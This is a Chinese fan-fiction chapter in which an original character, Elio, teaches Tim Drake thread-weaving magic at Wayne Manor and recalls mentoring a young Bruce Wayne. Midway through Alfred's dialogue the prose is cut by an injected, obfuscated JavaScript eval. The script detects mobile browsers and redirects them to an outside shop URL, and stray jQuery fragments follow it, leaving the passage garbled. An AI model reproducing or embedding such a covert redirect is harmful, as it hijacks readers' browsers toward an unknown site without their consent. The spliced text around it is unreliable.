哥谭今天难得放晴。
阳光从韦恩庄园东翼的落地窗斜斜地铺进来,在地毯上切出一道暖融融的光带。
空气里有茶香,有旧书页的味道,还有一点——很难说清楚是什么——像是晒透了的羊毛毯和雨后森林混在一起的气息。
提姆·德雷克坐在书桌前,笔尖悬在笔记本上方三厘米处,已经保持了将近两分钟。
他在听课。
对面那张扶手椅里坐着艾利欧。
白色短卷发,蓬松柔软得像被风吹散的蒲公英,蓝眼睛正低头看着手里一卷泛黄的手稿。
他穿着一件浅米色的开衫,里面是简单的白衬衫,领口松着一颗扣子——看起来就像一个来庄园做客的、气质很好的远房亲戚。
如果不是他指尖正绕着一段提姆能肉眼可见的、泛着淡银色微光的丝线的话。
“艾利欧先生,”提姆终于开口了,声音里有种压抑着好奇的试探,“这个——”
“我说了,艾利欧就行。”
白头发的人抬起头,弯起眼睛笑了一下,“‘艾利欧先生’听起来真的像我要给你发成绩单了。”
提姆的嘴角抽了抽:“……可你确实是在给我上课。”
“那也是艾利欧。”
他把手里的手稿翻过一页,指尖的银丝随着动作轻轻晃动,像有生命似的在他指缝间游走,“你刚才想问什么?”
提姆低头看了一眼自己的笔记本,上面画满了潦草的示意图和问号。
他刚才在尝试理解“编织”的基本逻辑——艾利欧说万物之间都有看不见的丝线,魔法师要做的不是“创造”什么,而是“发现”那些线已经在那里了,然后重新排列它们。
听起来很玄。
提姆是个相信逻辑和证据的人。
但艾利欧演示的时候,那些银色的丝线确实从空气里浮现出来,像蜘蛛网一样精密地铺满了整个房间。
它们每一根都连着什么东西——茶杯、书页、窗框,甚至提姆自己的指尖也连着两三根极细的、几乎看不见的线。
那些线闪烁着柔和的银光,一丝丝的倒映在提姆的眼底。
“你说万物都有丝线相连,”提姆用笔尖点了点自己的手背,“那人和人之间也有吗?”
艾利欧抬眼。
他看人的时候总是很专注,仿佛你说的每一个字都值得被认真对待——提姆这几天已经习惯了这种目光,但每次上课时被这样看着还是会有点不自在。
好像自己心里那点小九九全摊在桌面上了。
不过还是比不上蝙蝠侠的凝视,对此身经百战提姆觉得自己面对艾利欧完全没问题。
“有。”艾利欧说。
他把手稿合上放到一边,坐直了一点。阳光在他白色的卷发上镀了一层淡金色的边,整个人看起来柔和得不像话。
“人和人之间的线更复杂,”他伸出右手,五指张开,指尖凭空牵出几缕银丝,“有的粗,有的细,有的打了结,有的断过又被人重新接上——”
他动了动手指,那些丝线像琴弦一样轻轻震颤,“有的线你一辈子都看不见,但它一直在那儿。”
提姆盯着那些丝线看了很久。
“那你全都能看见吗?”
“几乎都能。”艾利欧收回手,银丝消散在空气里,像晨雾被风吹走,“但不是所有线都该被看见的,有些线嘛——”
他顿了一下,嘴角的弧度变得很轻很淡,“留在那里就好。”
提姆若有所思地点了点头,低下头在笔记本上写了几个字。
艾利欧看着他的发顶——黑色的头发,看这个乱的程度,显然昨晚又熬夜了。
这孩子总是这样。
做起任务来不顾自己的死活,学什么东西都恨不得一口气吞下去,笔记写得比艾利欧讲出口的句子都多,提问的角度刁钻又精准,像一台不知疲倦的小型超级计算机。
像谁呢。
艾利欧的视线越过提姆的肩膀,落在窗外那片修剪整齐的草坪上。
草坪尽头是那排老橡树,再远一点是哥谭灰蓝色的天际线——这座城市即使在晴天也带着一层洗不掉的铅灰色,像一张被雨水泡过的旧照片。
他想起很多年前,也是这样的午后,也是在一个庄园似的地方。
那里的树没这么高,草坪也没这么大。一个黑头发的年轻人坐在台阶上,膝盖上摊着一本书,眉头皱得能夹死苍蝇。
他在看一本魔法基础理论的入门读物——艾利欧随手丢给他的,表示“你这么讨厌魔法的人,了解一下未来的对手总归是好的。”
但他看得咬牙切齿,仿佛那本书在故意跟他作对。
“我说,Bruly,你是在跟书打架吗?”艾利欧走过来,身边飘着一个茶杯,在他旁边坐下。
“这上面说‘魔法是意志的延伸’,”年轻人抬起头,一双钢蓝色的眼睛带着纠结和不解,“那如果我的意志够强,是不是就能让这本书自己翻页?”
……明显是真被气到了,连被喊Bruly都没有反驳。
艾利欧在心里对着布鲁斯笑眯眯,面上一派云淡风轻:“理论上可以。”
“实际上呢?”
“实际上,我觉得你多半会把书撕成两半。”
年轻人——那时候还只是布鲁斯,还不是蝙蝠侠——沉默了,低头盯着那本书看了好一会儿,然后把书合上,深深地吸了一口气。
“我学不通这个。”
“噢,毕竟你没在学。”艾利欧喝了一口茶,“你在跟它较劲。”
布鲁斯转过头看他,眼神里有种年轻人特有的、不服输的倔强:“有什么区别?”
艾利欧不理他。
“……到底是什么,艾利欧。”
艾利欧把茶杯放下,伸手在空中轻轻一拨。
一根银色的丝线从他指尖延伸出去,缠上布鲁斯手腕上那块表的表盘,表针突然倒着走了三圈。
布鲁斯猛地缩回手,对自己的腕表瞪着眼睛。
“你刚才感觉到什么?”艾利欧问。
“它自己转了。”
艾利欧没招了。
“你真的没感觉到别的?”
布鲁斯皱起眉想了想:“……好像有一阵风。”
艾利欧欣慰了点。
“那就是意志的延伸。”艾利欧说,“只不过是你的意志,被我的线触碰了。”
布鲁斯看着自己的手腕,没有接话。过了一会儿,他低声说:“再来一次。”
艾利欧看着他紧抿的嘴角和微微发亮的眼睛,笑了。
“好。”
那时候的布鲁斯还没有后来的那些沉重的东西——或者说已经有了,只是还没学会怎么恰当地背着它们走路。
他像一把被拉得太满的弓,每时每刻都在绷着,随时准备弹出去伤人或者伤自己。
艾利欧陪他走了那一段路,没教他太多魔法操作——布鲁斯的兴趣不在那上面——教他的更多是别的东西。
怎么放过自己。怎么在怎么在愤怒涌上来的时候先克制。怎么接受有些事情你改变不了,然后在愤怒之外找到继续走下去的理由。
艾利欧从来没有试图把布鲁斯变成另一个人。
他只是在他身边走着,偶尔说两句话,偶尔在他钻进牛角尖的时候轻轻敲一下他的脑袋。
分别的时候布鲁斯站在火车站台上,背着包,头发被风吹得乱七八糟。他看着艾利欧,张了张嘴,最后只说了一句:“……我会保留好你的那个联系方式的。”
艾利欧点点头:“我知道。”
“你,”布鲁斯顿了一下,“你会来哥谭吗?”
“如果有空的话。”
布鲁斯微微笑了一下——那个笑容很轻,像是不太习惯做这个动作似的——“你总是这样。”
“因为我是真的不一定有空。”艾利欧伸手拍了拍他的肩膀,“但我会记得的。”
火车鸣笛了。布鲁斯转身走了几步,又回过头来。
“那个——”他稍微提高了音量,“你教我的那个——”
艾利欧站在月台上,白头发被风吹起来,蓝眼睛弯成两道温柔的弧线。
“慢慢来吧。”他说。
火车开走了。
艾利欧在月台上多站了一会儿,直到那列火车的尾灯消失在轨道尽头。然后他转身,朝另一个方向走去,白色的发梢在风里轻轻地晃。
他确实记得,他一直都记得。
哪怕过了这么多年,哪怕布鲁斯已经从那个愤怒的年轻人变成了哥谭的黑暗骑士,变成了蝙蝠侠——变成了有着孩子的父亲——艾利欧还是记得他在月台上回头的样子。
有些线一直在那儿。
“艾利欧?”
提姆的声音把他拉回现实。
男孩儿正歪着头看他,手里举着笔记本,上面画了一团乱麻似的线条:“我画的这个对不对?”
艾利欧凑过去看了一眼。
“……你画的是什么?”
“丝线啊!”提姆理直气壮,“你不是说万物都有丝线相连吗?我试着画了一下我眼中的这个房间里所有东西的连线——”
艾利欧看着那团比鸟巢还乱的线条,沉默了整整五秒钟。
“……很有创意。”他真诚地夸赞。
提姆眯起眼睛:“你迟疑了。”
“我没有迟疑。”
“你迟疑了整整五秒。”
“我是在欣赏你的构图。”
提姆瞪着他,艾利欧面不改色地回望,蓝眼睛里盛着一点很浅的笑意。两个人对视了几秒,提姆先绷不住了,噗地笑出声来。
“好吧,我知道我画得很烂。”他把笔记本翻到新的一页。
“但我真的能自己看到一些你线说的那种‘线’了——除了你那些有意控制的来自你自己的,我好像看到了我手指上有什么东西在发光。”
艾利欧的表情微微动了一下,他颇为惊喜地向前倾身。
“真的?”
“就一瞬间。”提姆低头看着自己的指尖,翻来覆去地看,“……现在又没了。”
艾利欧看着他,没有说话。
提姆的魔法天赋确实一般——蝙蝠侠委婉的表示过,艾利欧在第一天也说了“你的天赋在别处”,提姆自己也很清楚。
但这孩子有一种很特别的东西:他的感知力比许多人都细腻敏锐。
这是很强大的一个……偏科天赋。
不少人要用几个月才能摸到“丝线”的边缘,提姆才上了不到一周的课,就已经能看见丝线的光了。
哪怕只是一瞬间。哪怕提姆日后总也用不出那些依赖天资的魔法。
这让艾利欧忽然想起,也是在哥谭,他曾经遇到过的一个缘份短暂的少年。
那孩子才是拥有真正惊人的魔法天赋——艾利欧第一次感受到他的丝线时,以为触摸到了一团刚从太阳表面剥落下来的火焰。
可惜那时候那孩子的丝线已经碎了。
碎成一片一片的,散在黑暗里,每一片都在颤抖。
真是可惜了。
艾利欧把这点情绪收回眼底,蓝眼睛重新聚焦在提姆身上。那层极淡的、不属于当下的神色消失了,快得像是错觉。
“来,把手伸出来。”
提姆乖乖地伸出手,掌心朝上。
艾利欧没有碰他。他只是抬起自己的手,隔着一拳的距离,轻轻地、慢慢地划过提姆的掌心上方。
空气里有什么东西在流动——温暖、轻柔,像一根看不见的羽毛拂过皮肤。
提姆的呼吸停了一拍。
“我看到了。”他小声说,“银色的——在你手指上——”
“嗯。”艾利欧收回手,“你的线在试图接触我。”
提姆低头看着自己的手,那里什么都没有了,但他刚才确确实实看到了一根极细的银丝从自己指尖伸出来,轻轻碰了一下艾利欧的手指,然后又缩回去了。
像一只害羞的小动物。
“Wow……我能再试一次吗?”提姆的声音里有种压抑不住的兴奋。
艾利欧看着他亮晶晶的眼睛,弯起嘴角:“先吃饭。”
“可是——”
“阿福又做了你前天宣布爱上的柠檬挞。”
提姆的嘴巴张开又合上,最后认命地合上笔记本:“……你这是作弊。”
“这叫合理利用资源。”艾利欧站起身,拍了拍开衫上看不见的褶皱,“走吧。”
他们走出书房的时候,走廊尽头传来脚步声。
阿尔弗雷德端着一个托盘走过来,托盘上是一壶冒着热气的红茶和一小碟切好的柠檬挞——金黄酥脆,糖霜撒得恰到好处。
“看来我来的正是时候。”阿尔弗雷德微微颔首,目光在提姆和艾利欧之间转了一圈,“课程还顺利吗,先生们?”
“提姆看到了他的线。”艾利欧说。
阿尔弗雷德的眉毛抬了一下——一个很细微的动作,但艾利欧认识他够久了,知道这意味着老管家在表达他微小的惊讶。
“那确实值得庆祝。”阿尔弗雷德把托盘放在走廊边的小圆桌上。
“请允许我提议,先享用茶点再继续——提姆少爷昨晚似乎又熬夜了,适当的糖分摄入对保持专注力有益。”
提姆的脸微微发红:“阿福——”
“我只是陈述事实,提姆少爷。”阿尔弗雷德面不改色地倒茶,“另外,布鲁斯老爷让我转告先生们,他今晚会在蝙蝠洞处理一些哥谭相关的事务,晚饭会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818949|211102||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
迟一些上来。”
艾利欧端起茶杯:“正义联盟那边的事终于忙完了?”
可怜的布鲁斯这段时间已经因为他讨厌的魔法侧跑了好几趟瞭望塔了。
蝙蝠内心骂骂咧咧。
“据说告一段落了,”阿福的语气平淡得像在报天气预报,“剩下的只是文书工作。布鲁斯老爷选择把这些文书带回庄园处理。”
提姆咬了一口柠檬挞,含含糊糊地说:“我真的感觉,超人也太容易被魔法控制了吧——”
“提姆少爷。”
“——呃,我是说,超人先生也太容易被控制了吧。”
艾利欧喝了一口茶,望着窗外的草坪。
阿尔弗雷德调整了一下手上的托盘,让提姆能更顺手的拿下一块柠檬挞。
“以及,艾利欧先生,布鲁斯老爷认为哥谭近期的一些能力波动值得留意——可能与您提及的编织残留有关。”
艾利欧握着茶杯的手指轻轻收了一下。
这几天他偶尔会在哥谭转几圈,结果在市内和郊外都发现了一些属于“编织”这一派系的魔法残留。
这真的很奇怪,十九世纪那场大清洗之后,世界上应该没有人会这一手了。
艾利欧对这些残留的丝线的感觉也很奇怪——完全不眼熟,但又不怎么陌生。
……可这也不是布鲁斯或者提姆的丝线啊。
于是前天晚上,在花园里碰见布鲁斯从蝙蝠洞上来透气的时候,艾利欧随口提了一句。
当时布鲁斯没有什么很特别的反应,只是“嗯”了一声,表示他听到了。
结果转头已经开始自己偷偷忙起来了。
艾利欧盯着窗外略微出神。
阳光已经偏西了,那些老橡树的影子拉得很长,在草地上画出明暗交错的条纹。
频繁的魔法事件。奇怪的编织残留。正义联盟的多次紧急会议。布鲁斯希望自己可以参与。
艾利欧放下茶杯,指尖无意识地摩挲着杯沿。
“最近这段时间我都会在的,魔法方面的可以多让我来。”他说,“反正我也没什么急事。”
阿尔弗雷德微微颔首,表情温和:“布鲁斯老爷听到这个决定会很高兴的。”
提姆已经吃完最后一口柠檬挞,心满意足地叹了口气。
他站在艾利欧旁边,听着两人的对话,突然想起什么似的转过头。
“对了艾利欧——你在庄园呆了几天,有没有感觉布鲁斯和以前什么地方不一样了?”
艾利欧端着茶杯的手顿了一下。
窗外的风吹进来,让白色的卷发轻轻晃动着。他低下头,看着杯里琥珀色的茶汤,嘴角浮起一个很淡的、几乎看不出来的笑容。
“应该有吧。”
提姆竖起耳朵:“什么变化?”
艾利欧想了想。
“嗯,以前的布鲁斯,”他说,“……很年轻,很愤怒。走路的时候肩膀总是绷着,像随时准备跟蹦出来的敌人打架。”
提姆眨了眨眼:“听起来跟现在没差多少。”
艾利欧笑了一声,那笑声很轻,像风穿过树叶。
“还是变了些。”他把茶杯放回托盘上,站起来走到窗边。夕阳把他的白头发染成了暖金色,侧脸的轮廓在光线里显得格外柔和,“现在他也算学会了一点了。”
“什么?”
艾利欧转过头,蓝眼睛里有光在跳动。
“学会偶尔同意让别人对他拉一把了。”
看来以前种下的种子成功开出来了一小片花,可喜可贺。
提姆看着他的背影,手边的笔记本被从窗户吹进来的微风翻开,上面那团乱麻似的线条被夕阳照得发亮。
他忽然觉得——虽然他说不清为什么——艾利欧说的“别人”里,大概包括他自己。
走廊那头传来阿福收拾托盘的声音。茶杯轻轻碰撞,瓷器发出细碎的叮当声。
远处隐约有鸟鸣,从那些老橡树的方向传来。
哥谭的傍晚正在慢慢地、温柔地落下来。
艾利欧站在窗边,看着天边那一线橘红色的光,忽然想起很多年前某个类似的傍晚——他和那个黑头发的年轻人半躺在某个山丘上,看着太阳沉到地平线以下。
“艾利欧,”年轻人当时问,“人真的能彻底改变吗?”
艾利欧记得自己当时的回答。
“能。”他说,“但得有人先相信你能,只有自己的话,会很难。”
那时候他还不知道这个年轻人会成为什么样的人。
不知道他会穿上蝙蝠的铠甲,不知道他会失去又得到又失去,不知道他会捡回来很多的孩子——艾利欧自己现在也和某些小鸟在命运的丝线里牵过了手。
但不管知不知道,那些线一直在那儿。
粗的、细的、打了结的、断过又重新接上的——所有的线都在。
艾利欧把窗户推开一条缝。晚风涌进来,带着青草和泥土的气息。
他伸出左手,指尖在空中轻轻一拨——一根极细的银丝从他指间浮现出来,一路延伸出去,穿过窗缝,穿过草坪,穿过那些老橡树的枝叶,向着哥谭灰蓝色的天际线蜿蜒而去。
线的另一端连着谁,他心里清楚。
“艾利欧,你在干什么呢?”
提姆不知什么时候走到他旁边,歪着头看他指尖那根若有若无的银光。
艾利欧收回手,银丝消散在暮色里。
“没什么。”他转过身,对男孩儿露出一个温和的笑容,“只是打个招呼。”
提姆将信将疑地看着他,但没再追问。他只是把笔记本夹在胳膊底下,朝门口走了两步,又回过头来。
“那个——艾利欧。”
“嗯?”
“我想说……谢谢你愿意来教我。”
少年的声音有点闷,眼睛看着地板,耳朵尖微微发红。
艾利欧看着他那副别扭的样子,嘴角的弧度加深了一点。
“不客气。”他说,“你是个很好的学生。”
提姆的耳朵更红了,快步走出了房间。
艾利欧站在原地,听着走廊里渐渐远去的脚步声,然后重新看向窗外。
哥谭的夜幕正在铺开,第一颗星星已经出现在天边。那些老橡树的枝叶在晚风里沙沙作响,像在低声说着什么只有它们自己才懂的话。
他轻轻呼出一口气,白色的卷发被风撩起来又落下。
“慢慢来。”他对着窗外的夜色低声说,不知道是说给谁听的。
风把他的话带走了。
远处,哥谭市区的灯火一盏接一盏地亮起来,像大地倒映着星空。
艾利欧站在窗前,蓝眼睛里盛着满城的灯火和几十年的时光,安静地、温柔地、站在原地。